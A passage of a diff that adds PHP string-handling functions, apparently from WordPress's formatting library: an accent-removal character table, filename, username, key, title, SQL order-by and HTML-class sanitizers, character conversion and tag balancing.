+		chr(195).chr(176) => 'd', chr(195).chr(177) => 'n',
+		chr(195).chr(178) => 'o', chr(195).chr(179) => 'o',
+		chr(195).chr(180) => 'o', chr(195).chr(181) => 'o',
+		chr(195).chr(182) => 'o', chr(195).chr(184) => 'o',
+		chr(195).chr(185) => 'u', chr(195).chr(186) => 'u',
+		chr(195).chr(187) => 'u', chr(195).chr(188) => 'u',
+		chr(195).chr(189) => 'y', chr(195).chr(190) => 'th',
+		chr(195).chr(191) => 'y', chr(195).chr(152) => 'O',
+		// Decompositions for Latin Extended-A
+		chr(196).chr(128) => 'A', chr(196).chr(129) => 'a',
+		chr(196).chr(130) => 'A', chr(196).chr(131) => 'a',
+		chr(196).chr(132) => 'A', chr(196).chr(133) => 'a',
+		chr(196).chr(134) => 'C', chr(196).chr(135) => 'c',
+		chr(196).chr(136) => 'C', chr(196).chr(137) => 'c',
+		chr(196).chr(138) => 'C', chr(196).chr(139) => 'c',
+		chr(196).chr(140) => 'C', chr(196).chr(141) => 'c',
+		chr(196).chr(142) => 'D', chr(196).chr(143) => 'd',
+		chr(196).chr(144) => 'D', chr(196).chr(145) => 'd',
+		chr(196).chr(146) => 'E', chr(196).chr(147) => 'e',
+		chr(196).chr(148) => 'E', chr(196).chr(149) => 'e',
+		chr(196).chr(150) => 'E', chr(196).chr(151) => 'e',
+		chr(196).chr(152) => 'E', chr(196).chr(153) => 'e',
+		chr(196).chr(154) => 'E', chr(196).chr(155) => 'e',
+		chr(196).chr(156) => 'G', chr(196).chr(157) => 'g',
+		chr(196).chr(158) => 'G', chr(196).chr(159) => 'g',
+		chr(196).chr(160) => 'G', chr(196).chr(161) => 'g',
+		chr(196).chr(162) => 'G', chr(196).chr(163) => 'g',
+		chr(196).chr(164) => 'H', chr(196).chr(165) => 'h',
+		chr(196).chr(166) => 'H', chr(196).chr(167) => 'h',
+		chr(196).chr(168) => 'I', chr(196).chr(169) => 'i',
+		chr(196).chr(170) => 'I', chr(196).chr(171) => 'i',
+		chr(196).chr(172) => 'I', chr(196).chr(173) => 'i',
+		chr(196).chr(174) => 'I', chr(196).chr(175) => 'i',
+		chr(196).chr(176) => 'I', chr(196).chr(177) => 'i',
+		chr(196).chr(178) => 'IJ',chr(196).chr(179) => 'ij',
+		chr(196).chr(180) => 'J', chr(196).chr(181) => 'j',
+		chr(196).chr(182) => 'K', chr(196).chr(183) => 'k',
+		chr(196).chr(184) => 'k', chr(196).chr(185) => 'L',
+		chr(196).chr(186) => 'l', chr(196).chr(187) => 'L',
+		chr(196).chr(188) => 'l', chr(196).chr(189) => 'L',
+		chr(196).chr(190) => 'l', chr(196).chr(191) => 'L',
+		chr(197).chr(128) => 'l', chr(197).chr(129) => 'L',
+		chr(197).chr(130) => 'l', chr(197).chr(131) => 'N',
+		chr(197).chr(132) => 'n', chr(197).chr(133) => 'N',
+		chr(197).chr(134) => 'n', chr(197).chr(135) => 'N',
+		chr(197).chr(136) => 'n', chr(197).chr(137) => 'N',
+		chr(197).chr(138) => 'n', chr(197).chr(139) => 'N',
+		chr(197).chr(140) => 'O', chr(197).chr(141) => 'o',
+		chr(197).chr(142) => 'O', chr(197).chr(143) => 'o',
+		chr(197).chr(144) => 'O', chr(197).chr(145) => 'o',
+		chr(197).chr(146) => 'OE',chr(197).chr(147) => 'oe',
+		chr(197).chr(148) => 'R',chr(197).chr(149) => 'r',
+		chr(197).chr(150) => 'R',chr(197).chr(151) => 'r',
+		chr(197).chr(152) => 'R',chr(197).chr(153) => 'r',
+		chr(197).chr(154) => 'S',chr(197).chr(155) => 's',
+		chr(197).chr(156) => 'S',chr(197).chr(157) => 's',
+		chr(197).chr(158) => 'S',chr(197).chr(159) => 's',
+		chr(197).chr(160) => 'S', chr(197).chr(161) => 's',
+		chr(197).chr(162) => 'T', chr(197).chr(163) => 't',
+		chr(197).chr(164) => 'T', chr(197).chr(165) => 't',
+		chr(197).chr(166) => 'T', chr(197).chr(167) => 't',
+		chr(197).chr(168) => 'U', chr(197).chr(169) => 'u',
+		chr(197).chr(170) => 'U', chr(197).chr(171) => 'u',
+		chr(197).chr(172) => 'U', chr(197).chr(173) => 'u',
+		chr(197).chr(174) => 'U', chr(197).chr(175) => 'u',
+		chr(197).chr(176) => 'U', chr(197).chr(177) => 'u',
+		chr(197).chr(178) => 'U', chr(197).chr(179) => 'u',
+		chr(197).chr(180) => 'W', chr(197).chr(181) => 'w',
+		chr(197).chr(182) => 'Y', chr(197).chr(183) => 'y',
+		chr(197).chr(184) => 'Y', chr(197).chr(185) => 'Z',
+		chr(197).chr(186) => 'z', chr(197).chr(187) => 'Z',
+		chr(197).chr(188) => 'z', chr(197).chr(189) => 'Z',
+		chr(197).chr(190) => 'z', chr(197).chr(191) => 's',
+		// Decompositions for Latin Extended-B
+		chr(200).chr(152) => 'S', chr(200).chr(153) => 's',
+		chr(200).chr(154) => 'T', chr(200).chr(155) => 't',
+		// Euro Sign
+		chr(226).chr(130).chr(172) => 'E',
+		// GBP (Pound) Sign
+		chr(194).chr(163) => '',
+		// Vowels with diacritic (Vietnamese)
+		// unmarked
+		chr(198).chr(160) => 'O', chr(198).chr(161) => 'o',
+		chr(198).chr(175) => 'U', chr(198).chr(176) => 'u',
+		// grave accent
+		chr(225).chr(186).chr(166) => 'A', chr(225).chr(186).chr(167) => 'a',
+		chr(225).chr(186).chr(176) => 'A', chr(225).chr(186).chr(177) => 'a',
+		chr(225).chr(187).chr(128) => 'E', chr(225).chr(187).chr(129) => 'e',
+		chr(225).chr(187).chr(146) => 'O', chr(225).chr(187).chr(147) => 'o',
+		chr(225).chr(187).chr(156) => 'O', chr(225).chr(187).chr(157) => 'o',
+		chr(225).chr(187).chr(170) => 'U', chr(225).chr(187).chr(171) => 'u',
+		chr(225).chr(187).chr(178) => 'Y', chr(225).chr(187).chr(179) => 'y',
+		// hook
+		chr(225).chr(186).chr(162) => 'A', chr(225).chr(186).chr(163) => 'a',
+		chr(225).chr(186).chr(168) => 'A', chr(225).chr(186).chr(169) => 'a',
+		chr(225).chr(186).chr(178) => 'A', chr(225).chr(186).chr(179) => 'a',
+		chr(225).chr(186).chr(186) => 'E', chr(225).chr(186).chr(187) => 'e',
+		chr(225).chr(187).chr(130) => 'E', chr(225).chr(187).chr(131) => 'e',
+		chr(225).chr(187).chr(136) => 'I', chr(225).chr(187).chr(137) => 'i',
+		chr(225).chr(187).chr(142) => 'O', chr(225).chr(187).chr(143) => 'o',
+		chr(225).chr(187).chr(148) => 'O', chr(225).chr(187).chr(149) => 'o',
+		chr(225).chr(187).chr(158) => 'O', chr(225).chr(187).chr(159) => 'o',
+		chr(225).chr(187).chr(166) => 'U', chr(225).chr(187).chr(167) => 'u',
+		chr(225).chr(187).chr(172) => 'U', chr(225).chr(187).chr(173) => 'u',
+		chr(225).chr(187).chr(182) => 'Y', chr(225).chr(187).chr(183) => 'y',
+		// tilde
+		chr(225).chr(186).chr(170) => 'A', chr(225).chr(186).chr(171) => 'a',
+		chr(225).chr(186).chr(180) => 'A', chr(225).chr(186).chr(181) => 'a',
+		chr(225).chr(186).chr(188) => 'E', chr(225).chr(186).chr(189) => 'e',
+		chr(225).chr(187).chr(132) => 'E', chr(225).chr(187).chr(133) => 'e',
+		chr(225).chr(187).chr(150) => 'O', chr(225).chr(187).chr(151) => 'o',
+		chr(225).chr(187).chr(160) => 'O', chr(225).chr(187).chr(161) => 'o',
+		chr(225).chr(187).chr(174) => 'U', chr(225).chr(187).chr(175) => 'u',
+		chr(225).chr(187).chr(184) => 'Y', chr(225).chr(187).chr(185) => 'y',
+		// acute accent
+		chr(225).chr(186).chr(164) => 'A', chr(225).chr(186).chr(165) => 'a',
+		chr(225).chr(186).chr(174) => 'A', chr(225).chr(186).chr(175) => 'a',
+		chr(225).chr(186).chr(190) => 'E', chr(225).chr(186).chr(191) => 'e',
+		chr(225).chr(187).chr(144) => 'O', chr(225).chr(187).chr(145) => 'o',
+		chr(225).chr(187).chr(154) => 'O', chr(225).chr(187).chr(155) => 'o',
+		chr(225).chr(187).chr(168) => 'U', chr(225).chr(187).chr(169) => 'u',
+		// dot below
+		chr(225).chr(186).chr(160) => 'A', chr(225).chr(186).chr(161) => 'a',
+		chr(225).chr(186).chr(172) => 'A', chr(225).chr(186).chr(173) => 'a',
+		chr(225).chr(186).chr(182) => 'A', chr(225).chr(186).chr(183) => 'a',
+		chr(225).chr(186).chr(184) => 'E', chr(225).chr(186).chr(185) => 'e',
+		chr(225).chr(187).chr(134) => 'E', chr(225).chr(187).chr(135) => 'e',
+		chr(225).chr(187).chr(138) => 'I', chr(225).chr(187).chr(139) => 'i',
+		chr(225).chr(187).chr(140) => 'O', chr(225).chr(187).chr(141) => 'o',
+		chr(225).chr(187).chr(152) => 'O', chr(225).chr(187).chr(153) => 'o',
+		chr(225).chr(187).chr(162) => 'O', chr(225).chr(187).chr(163) => 'o',
+		chr(225).chr(187).chr(164) => 'U', chr(225).chr(187).chr(165) => 'u',
+		chr(225).chr(187).chr(176) => 'U', chr(225).chr(187).chr(177) => 'u',
+		chr(225).chr(187).chr(180) => 'Y', chr(225).chr(187).chr(181) => 'y',
+		// Vowels with diacritic (Chinese, Hanyu Pinyin)
+		chr(201).chr(145) => 'a',
+		// macron
+		chr(199).chr(149) => 'U', chr(199).chr(150) => 'u',
+		// acute accent
+		chr(199).chr(151) => 'U', chr(199).chr(152) => 'u',
+		// caron
+		chr(199).chr(141) => 'A', chr(199).chr(142) => 'a',
+		chr(199).chr(143) => 'I', chr(199).chr(144) => 'i',
+		chr(199).chr(145) => 'O', chr(199).chr(146) => 'o',
+		chr(199).chr(147) => 'U', chr(199).chr(148) => 'u',
+		chr(199).chr(153) => 'U', chr(199).chr(154) => 'u',
+		// grave accent
+		chr(199).chr(155) => 'U', chr(199).chr(156) => 'u',
+		);
+
+		// Used for locale-specific rules
+		$locale = get_locale();
+
+		if ( 'de_DE' == $locale ) {
+			$chars[ chr(195).chr(132) ] = 'Ae';
+			$chars[ chr(195).chr(164) ] = 'ae';
+			$chars[ chr(195).chr(150) ] = 'Oe';
+			$chars[ chr(195).chr(182) ] = 'oe';
+			$chars[ chr(195).chr(156) ] = 'Ue';
+			$chars[ chr(195).chr(188) ] = 'ue';
+			$chars[ chr(195).chr(159) ] = 'ss';
+		} elseif ( 'da_DK' === $locale ) {
+			$chars[ chr(195).chr(134) ] = 'Ae';
+ 			$chars[ chr(195).chr(166) ] = 'ae';
+			$chars[ chr(195).chr(152) ] = 'Oe';
+			$chars[ chr(195).chr(184) ] = 'oe';
+			$chars[ chr(195).chr(133) ] = 'Aa';
+			$chars[ chr(195).chr(165) ] = 'aa';
+		}
+
+		$string = strtr($string, $chars);
+	} else {
+		// Assume ISO-8859-1 if not UTF-8
+		$chars['in'] = chr(128).chr(131).chr(138).chr(142).chr(154).chr(158)
+			.chr(159).chr(162).chr(165).chr(181).chr(192).chr(193).chr(194)
+			.chr(195).chr(196).chr(197).chr(199).chr(200).chr(201).chr(202)
+			.chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210)
+			.chr(211).chr(212).chr(213).chr(214).chr(216).chr(217).chr(218)
+			.chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227)
+			.chr(228).chr(229).chr(231).chr(232).chr(233).chr(234).chr(235)
+			.chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243)
+			.chr(244).chr(245).chr(246).chr(248).chr(249).chr(250).chr(251)
+			.chr(252).chr(253).chr(255);
+
+		$chars['out'] = "EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy";
+
+		$string = strtr($string, $chars['in'], $chars['out']);
+		$double_chars['in'] = array(chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254));
+		$double_chars['out'] = array('OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th');
+		$string = str_replace($double_chars['in'], $double_chars['out'], $string);
+	}
+
+	return $string;
+}
+
+/**
+ * Sanitizes a filename, replacing whitespace with dashes.
+ *
+ * Removes special characters that are illegal in filenames on certain
+ * operating systems and special characters requiring special escaping
+ * to manipulate at the command line. Replaces spaces and consecutive
+ * dashes with a single dash. Trims period, dash and underscore from beginning
+ * and end of filename.
+ *
+ * @since 2.1.0
+ *
+ * @param string $filename The filename to be sanitized
+ * @return string The sanitized filename
+ */
+function sanitize_file_name( $filename ) {
+	$filename_raw = $filename;
+	$special_chars = array("?", "[", "]", "/", "\\", "=", "<", ">", ":", ";", ",", "'", "\"", "&", "$", "#", "*", "(", ")", "|", "~", "`", "!", "{", "}", chr(0));
+	/**
+	 * Filter the list of characters to remove from a filename.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array  $special_chars Characters to remove.
+	 * @param string $filename_raw  Filename as it was passed into sanitize_file_name().
+	 */
+	$special_chars = apply_filters( 'sanitize_file_name_chars', $special_chars, $filename_raw );
+	$filename = preg_replace( "#\x{00a0}#siu", ' ', $filename );
+	$filename = str_replace( $special_chars, '', $filename );
+	$filename = str_replace( array( '%20', '+' ), '-', $filename );
+	$filename = preg_replace( '/[\r\n\t -]+/', '-', $filename );
+	$filename = trim( $filename, '.-_' );
+
+	// Split the filename into a base and extension[s]
+	$parts = explode('.', $filename);
+
+	// Return if only one extension
+	if ( count( $parts ) <= 2 ) {
+		/**
+		 * Filter a sanitized filename string.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $filename     Sanitized filename.
+		 * @param string $filename_raw The filename prior to sanitization.
+		 */
+		return apply_filters( 'sanitize_file_name', $filename, $filename_raw );
+	}
+
+	// Process multiple extensions
+	$filename = array_shift($parts);
+	$extension = array_pop($parts);
+	$mimes = get_allowed_mime_types();
+
+	/*
+	 * Loop over any intermediate extensions. Postfix them with a trailing underscore
+	 * if they are a 2 - 5 character long alpha string not in the extension whitelist.
+	 */
+	foreach ( (array) $parts as $part) {
+		$filename .= '.' . $part;
+
+		if ( preg_match("/^[a-zA-Z]{2,5}\d?$/", $part) ) {
+			$allowed = false;
+			foreach ( $mimes as $ext_preg => $mime_match ) {
+				$ext_preg = '!^(' . $ext_preg . ')$!i';
+				if ( preg_match( $ext_preg, $part ) ) {
+					$allowed = true;
+					break;
+				}
+			}
+			if ( !$allowed )
+				$filename .= '_';
+		}
+	}
+	$filename .= '.' . $extension;
+	/** This filter is documented in wp-includes/formatting.php */
+	return apply_filters('sanitize_file_name', $filename, $filename_raw);
+}
+
+/**
+ * Sanitizes a username, stripping out unsafe characters.
+ *
+ * Removes tags, octets, entities, and if strict is enabled, will only keep
+ * alphanumeric, _, space, ., -, @. After sanitizing, it passes the username,
+ * raw username (the username in the parameter), and the value of $strict as
+ * parameters for the 'sanitize_user' filter.
+ *
+ * @since 2.0.0
+ *
+ * @param string $username The username to be sanitized.
+ * @param bool $strict If set limits $username to specific characters. Default false.
+ * @return string The sanitized username, after passing through filters.
+ */
+function sanitize_user( $username, $strict = false ) {
+	$raw_username = $username;
+	$username = wp_strip_all_tags( $username );
+	$username = remove_accents( $username );
+	// Kill octets
+	$username = preg_replace( '|%([a-fA-F0-9][a-fA-F0-9])|', '', $username );
+	$username = preg_replace( '/&.+?;/', '', $username ); // Kill entities
+
+	// If strict, reduce to ASCII for max portability.
+	if ( $strict )
+		$username = preg_replace( '|[^a-z0-9 _.\-@]|i', '', $username );
+
+	$username = trim( $username );
+	// Consolidate contiguous whitespace
+	$username = preg_replace( '|\s+|', ' ', $username );
+
+	/**
+	 * Filter a sanitized username string.
+	 *
+	 * @since 2.0.1
+	 *
+	 * @param string $username     Sanitized username.
+	 * @param string $raw_username The username prior to sanitization.
+	 * @param bool   $strict       Whether to limit the sanitization to specific characters. Default false.
+	 */
+	return apply_filters( 'sanitize_user', $username, $raw_username, $strict );
+}
+
+/**
+ * Sanitizes a string key.
+ *
+ * Keys are used as internal identifiers. Lowercase alphanumeric characters, dashes and underscores are allowed.
+ *
+ * @since 3.0.0
+ *
+ * @param string $key String key
+ * @return string Sanitized key
+ */
+function sanitize_key( $key ) {
+	$raw_key = $key;
+	$key = strtolower( $key );
+	$key = preg_replace( '/[^a-z0-9_\-]/', '', $key );
+
+	/**
+	 * Filter a sanitized key string.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $key     Sanitized key.
+	 * @param string $raw_key The key prior to sanitization.
+	 */
+	return apply_filters( 'sanitize_key', $key, $raw_key );
+}
+
+/**
+ * Sanitizes a title, or returns a fallback title.
+ *
+ * Specifically, HTML and PHP tags are stripped. Further actions can be added
+ * via the plugin API. If $title is empty and $fallback_title is set, the latter
+ * will be used.
+ *
+ * @since 1.0.0
+ *
+ * @param string $title The string to be sanitized.
+ * @param string $fallback_title Optional. A title to use if $title is empty.
+ * @param string $context Optional. The operation for which the string is sanitized
+ * @return string The sanitized string.
+ */
+function sanitize_title( $title, $fallback_title = '', $context = 'save' ) {
+	$raw_title = $title;
+
+	if ( 'save' == $context )
+		$title = remove_accents($title);
+
+	/**
+	 * Filter a sanitized title string.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $title     Sanitized title.
+	 * @param string $raw_title The title prior to sanitization.
+	 * @param string $context   The context for which the title is being sanitized.
+	 */
+	$title = apply_filters( 'sanitize_title', $title, $raw_title, $context );
+
+	if ( '' === $title || false === $title )
+		$title = $fallback_title;
+
+	return $title;
+}
+
+/**
+ * Sanitizes a title with the 'query' context.
+ *
+ * Used for querying the database for a value from URL.
+ *
+ * @since 3.1.0
+ *
+ * @param string $title The string to be sanitized.
+ * @return string The sanitized string.
+ */
+function sanitize_title_for_query( $title ) {
+	return sanitize_title( $title, '', 'query' );
+}
+
+/**
+ * Sanitizes a title, replacing whitespace and a few other characters with dashes.
+ *
+ * Limits the output to alphanumeric characters, underscore (_) and dash (-).
+ * Whitespace becomes a dash.
+ *
+ * @since 1.2.0
+ *
+ * @param string $title The title to be sanitized.
+ * @param string $raw_title Optional. Not used.
+ * @param string $context Optional. The operation for which the string is sanitized.
+ * @return string The sanitized title.
+ */
+function sanitize_title_with_dashes( $title, $raw_title = '', $context = 'display' ) {
+	$title = strip_tags($title);
+	// Preserve escaped octets.
+	$title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---$1---', $title);
+	// Remove percent signs that are not part of an octet.
+	$title = str_replace('%', '', $title);
+	// Restore octets.
+	$title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%$1', $title);
+
+	if (seems_utf8($title)) {
+		if (function_exists('mb_strtolower')) {
+			$title = mb_strtolower($title, 'UTF-8');
+		}
+		$title = utf8_uri_encode($title, 200);
+	}
+
+	$title = strtolower($title);
+	$title = preg_replace('/&.+?;/', '', $title); // kill entities
+	$title = str_replace('.', '-', $title);
+
+	if ( 'save' == $context ) {
+		// Convert nbsp, ndash and mdash to hyphens
+		$title = str_replace( array( '%c2%a0', '%e2%80%93', '%e2%80%94' ), '-', $title );
+
+		// Strip these characters entirely
+		$title = str_replace( array(
+			// iexcl and iquest
+			'%c2%a1', '%c2%bf',
+			// angle quotes
+			'%c2%ab', '%c2%bb', '%e2%80%b9', '%e2%80%ba',
+			// curly quotes
+			'%e2%80%98', '%e2%80%99', '%e2%80%9c', '%e2%80%9d',
+			'%e2%80%9a', '%e2%80%9b', '%e2%80%9e', '%e2%80%9f',
+			// copy, reg, deg, hellip and trade
+			'%c2%a9', '%c2%ae', '%c2%b0', '%e2%80%a6', '%e2%84%a2',
+			// acute accents
+			'%c2%b4', '%cb%8a', '%cc%81', '%cd%81',
+			// grave accent, macron, caron
+			'%cc%80', '%cc%84', '%cc%8c',
+		), '', $title );
+
+		// Convert times to x
+		$title = str_replace( '%c3%97', 'x', $title );
+	}
+
+	$title = preg_replace('/[^%a-z0-9 _-]/', '', $title);
+	$title = preg_replace('/\s+/', '-', $title);
+	$title = preg_replace('|-+|', '-', $title);
+	$title = trim($title, '-');
+
+	return $title;
+}
+
+/**
+ * Ensures a string is a valid SQL 'order by' clause.
+ *
+ * Accepts one or more columns, with or without a sort order (ASC / DESC).
+ * e.g. 'column_1', 'column_1, column_2', 'column_1 ASC, column_2 DESC' etc.
+ *
+ * Also accepts 'RAND()'.
+ *
+ * @since 2.5.1
+ *
+ * @param string $orderby Order by clause to be validated.
+ * @return string|bool Returns $orderby if valid, false otherwise.
+ */
+function sanitize_sql_orderby( $orderby ) {
+	if ( preg_match( '/^\s*(([a-z0-9_]+|`[a-z0-9_]+`)(\s+(ASC|DESC))?\s*(,\s*(?=[a-z0-9_`])|$))+$/i', $orderby ) || preg_match( '/^\s*RAND\(\s*\)\s*$/i', $orderby ) ) {
+		return $orderby;
+	}
+	return false;
+}
+
+/**
+ * Sanitizes an HTML classname to ensure it only contains valid characters.
+ *
+ * Strips the string down to A-Z,a-z,0-9,_,-. If this results in an empty
+ * string then it will return the alternative value supplied.
+ *
+ * @todo Expand to support the full range of CDATA that a class attribute can contain.
+ *
+ * @since 2.8.0
+ *
+ * @param string $class The classname to be sanitized
+ * @param string $fallback Optional. The value to return if the sanitization ends up as an empty string.
+ * 	Defaults to an empty string.
+ * @return string The sanitized value
+ */
+function sanitize_html_class( $class, $fallback = '' ) {
+	//Strip out any % encoded octets
+	$sanitized = preg_replace( '|%[a-fA-F0-9][a-fA-F0-9]|', '', $class );
+
+	//Limit to A-Z,a-z,0-9,_,-
+	$sanitized = preg_replace( '/[^A-Za-z0-9_-]/', '', $sanitized );
+
+	if ( '' == $sanitized )
+		$sanitized = $fallback;
+
+	/**
+	 * Filter a sanitized HTML class string.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $sanitized The sanitized HTML class.
+	 * @param string $class     HTML class before sanitization.
+	 * @param string $fallback  The fallback string.
+	 */
+	return apply_filters( 'sanitize_html_class', $sanitized, $class, $fallback );
+}
+
+/**
+ * Converts a number of characters from a string.
+ *
+ * Metadata tags `<title>` and `<category>` are removed, `<br>` and `<hr>` are
+ * converted into correct XHTML and Unicode characters are converted to the
+ * valid range.
+ *
+ * @since 0.71
+ *
+ * @param string $content String of characters to be converted.
+ * @param string $deprecated Not used.
+ * @return string Converted string.
+ */
+function convert_chars($content, $deprecated = '') {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '0.71' );
+
+	// Translation of invalid Unicode references range to valid range
+	$wp_htmltranswinuni = array(
+	'&#128;' => '&#8364;', // the Euro sign
+	'&#129;' => '',
+	'&#130;' => '&#8218;', // these are Windows CP1252 specific characters
+	'&#131;' => '&#402;',  // they would look weird on non-Windows browsers
+	'&#132;' => '&#8222;',
+	'&#133;' => '&#8230;',
+	'&#134;' => '&#8224;',
+	'&#135;' => '&#8225;',
+	'&#136;' => '&#710;',
+	'&#137;' => '&#8240;',
+	'&#138;' => '&#352;',
+	'&#139;' => '&#8249;',
+	'&#140;' => '&#338;',
+	'&#141;' => '',
+	'&#142;' => '&#381;',
+	'&#143;' => '',
+	'&#144;' => '',
+	'&#145;' => '&#8216;',
+	'&#146;' => '&#8217;',
+	'&#147;' => '&#8220;',
+	'&#148;' => '&#8221;',
+	'&#149;' => '&#8226;',
+	'&#150;' => '&#8211;',
+	'&#151;' => '&#8212;',
+	'&#152;' => '&#732;',
+	'&#153;' => '&#8482;',
+	'&#154;' => '&#353;',
+	'&#155;' => '&#8250;',
+	'&#156;' => '&#339;',
+	'&#157;' => '',
+	'&#158;' => '&#382;',
+	'&#159;' => '&#376;'
+	);
+
+	// Remove metadata tags
+	$content = preg_replace('/<title>(.+?)<\/title>/','',$content);
+	$content = preg_replace('/<category>(.+?)<\/category>/','',$content);
+
+	// Converts lone & characters into &#38; (a.k.a. &amp;)
+	$content = preg_replace('/&([^#])(?![a-z1-4]{1,8};)/i', '&#038;$1', $content);
+
+	// Fix Word pasting
+	$content = strtr($content, $wp_htmltranswinuni);
+
+	// Just a little XHTML help
+	$content = str_replace('<br>', '<br />', $content);
+	$content = str_replace('<hr>', '<hr />', $content);
+
+	return $content;
+}
+
+/**
+ * Balances tags if forced to, or if the 'use_balanceTags' option is set to true.
+ *
+ * @since 0.71
+ *
+ * @param string $text Text to be balanced
+ * @param bool $force If true, forces balancing, ignoring the value of the option. Default false.
+ * @return string Balanced text
+ */
+function balanceTags( $text, $force = false ) {
+	if ( $force || get_option('use_balanceTags') == 1 ) {
+		return force_balance_tags( $text );
+	} else {
+		return $text;
+	}
+}
+
+/**
+ * Balances tags of string using a modified stack.
+ *
+ * @since 2.0.4
+ *
+ * @author Leonard Lin <leonard@acm.org>
+ * @license GPL
+ * @copyright November 4, 2001
+ * @version 1.1
+ * @todo Make better - change loop condition to $text in 1.2
+ * @internal Modified by Scott Reilly (coffee2code) 02 Aug 2004
+ *		1.1  Fixed handling of append/stack pop order of end text
+ *			 Added Cleaning Hooks
+ *		1.0  First Version
+ *
+ * @param string $text Text to be balanced.
+ * @return string Balanced text.
+ */
+function force_balance_tags( $text ) {
+	$tagstack = array();
+	$stacksize = 0;
+	$tagqueue = '';
+	$newtext = '';
+	// Known single-entity/self-closing tags
+	$single_tags = array( 'area', 'base', 'basefont', 'br', 'col', 'command', 'embed', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param', 'source' );
+	// Tags that can be immediately nested within themselves
+	$nestable_tags = array( 'blockquote', 'div', 'object', 'q', 'span' );
+
+	// WP bug fix for comments - in case you REALLY meant to type '< !--'
+	$text = str_replace('< !--', '<    !--', $text);
+	// WP bug fix for LOVE <3 (and other situations with '<' before a number)
+	$text = preg_replace('#<([0-9]{1})#', '&lt;$1', $text);
+
+	while ( preg_match("/<(\/?[\w:]*)\s*([^>]*)>/", $text, $regex) ) {
+		$newtext .= $tagqueue;
+
+		$i = strpos($text, $regex[0]);
+		$l = strlen($regex[0]);
+
+		// clear the shifter
+		$tagqueue = '';
+		// Pop or Push
+		if ( isset($regex[1][0]) && '/' == $regex[1][0] ) { // End Tag
+			$tag = strtolower(substr($regex[1],1));
+			// if too many closing tags
+			if( $stacksize <= 0 ) {
+				$tag = '';
+				// or close to be safe $tag = '/' . $tag;
+			}
+			// if stacktop value = tag close value then pop
+			else if ( $tagstack[$stacksize - 1] == $tag ) { // found closing tag
+				$tag = '</' . $tag . '>'; // Close Tag
+				// Pop
+				array_pop( $tagstack );
+				$stacksize--;
+			} else { // closing tag not at top, search for it
+				for ( $j = $stacksize-1; $j >= 0; $j-- ) {
+					if ( $tagstack[$j] == $tag ) {
+					// add tag to tagqueue
+						for ( $k = $stacksize-1; $k >= $j; $k--) {
+							$tagqueue .= '</' . array_pop( $tagstack ) . '>';
+							$stacksize--;
+						}
+						break;
+					}
+				}
+				$tag = '';
+			}
+		} else { // Begin Tag
+			$tag = strtolower($regex[1]);
+
+			// Tag Cleaning
+
+			// If it's an empty tag "< >", do nothing
+			if ( '' == $tag ) {
+				// do nothing
+			}
+			// ElseIf it presents itself as a self-closing tag...
+			elseif ( substr( $regex[2], -1 ) == '/' ) {
+				// ...but it isn't a known single-entity self-closing tag, then don't let it be treated as such and
+				// immediately close it with a closing tag (the tag will encapsulate no text as a result)
+				if ( ! in_array( $tag, $single_tags ) )
+					$regex[2] = trim( substr( $regex[2], 0, -1 ) ) . "></$tag";
+			}
+			// ElseIf it's a known single-entity tag but it doesn't close itself, do so
+			elseif ( in_array($tag, $single_tags) ) {
+				$regex[2] .= '/';
+			}
+			// Else it's not a single-entity tag
+			else {
+				// If the top of the stack is the same as the tag we want to push, close previous tag
+				if ( $stacksize > 0 && !in_array($tag, $nestable_tags) && $tagstack[$stacksize - 1] == $tag ) {
+					$tagqueue = '</' . array_pop( $tagstack ) . '>';
+					$stacksize--;
+				}
+				$stacksize = array_push( $tagstack, $tag );
+			}
+
+			// Attributes
+			$attributes = $regex[2];
+			if( ! empty( $attributes ) && $attributes[0] != '>' )
+				$attributes = ' ' . $attributes;
+
+			$tag = '<' . $tag . $attributes . '>';
+			//If already queuing a close tag, then put this tag on, too
+			if ( !empty($tagqueue) ) {
+				$tagqueue .= $tag;
+				$tag = '';
+			}
+		}
+		$newtext .= substr($text, 0, $i) . $tag;
+		$text = substr($text, $i + $l);
+	}
+
+	// Clear Tag Queue
+	$newtext .= $tagqueue;
+
+	// Add Remaining text
+	$newtext .= $text;
+
+	// Empty Stack
+	while( $x = array_pop($tagstack) )
+		$newtext .= '</' . $x . '>'; // Add remaining tags to close
+
+	// WP fix for the bug with HTML comments
+	$newtext = str_replace("< !--","<!--",$newtext);
+	$newtext = str_replace("<    !--","< !--",$newtext);
+
+	return $newtext;
+}
+
+/**
+ * Acts on text which is about to be edited.
+ *
+ * The $content is run through esc_textarea(), which uses htmlspecialchars()
+ * to convert special characters to HTML entities. If $richedit is set to true,
+ * it is simply a holder for the 'format_to_edit' filter.
+ *
+ * @since 0.71
+ *
+ * @param string $content The text about to be edited.
+ * @param bool $richedit Whether the $content should not pass through htmlspecialchars(). Default false (meaning it will be passed).
+ * @return string The text after the filter (and possibly htmlspecialchars()) has been run.
+ */
+function format_to_edit( $content, $richedit = false ) {
+	/**
+	 * Filter the text to be formatted for editing.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $content The text, prior to formatting for editing.
+	 */
+	$content = apply_filters( 'format_to_edit', $content );
+	if ( ! $richedit )
+		$content = esc_textarea( $content );
+	return $content;
+}
+
+/**
+ * Add leading zeros when necessary.
+ *
+ * If you set the threshold to '4' and the number is '10', then you will get
+ * back '0010'. If you set the threshold to '4' and the number is '5000', then you
+ * will get back '5000'.
+ *
+ * Uses sprintf to append the amount of zeros based on the $threshold parameter
+ * and the size of the number. If the number is large enough, then no zeros will
+ * be appended.
+ *
+ * @since 0.71
+ *
+ * @param mixed $number Number to append zeros to if not greater than threshold.
